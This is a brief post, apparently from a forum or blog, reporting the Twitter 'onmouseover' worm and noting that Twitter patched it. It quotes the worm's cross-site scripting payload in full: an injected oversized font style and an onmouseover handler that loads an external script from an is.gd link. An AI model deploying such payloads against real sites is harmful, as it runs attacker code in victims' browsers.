I just noticed a Twitter virus

This one links to an external script: hxxp://t.co/@%22style=%22font-size:999999999999px;%22onmouseover=%22$.getScript(%27http:%5Cu002f%5Cu002fis.gd%5Cu002ffl9A7%27)%22<p>It also makes the text so big that as soon as it appears in your twitter feed its impossible to avoid mossing over it.

It's been all over the internet this morning. It's a bug where twitter is allowing onmouseover.

Twitter says exploit patched. They're still trickling through.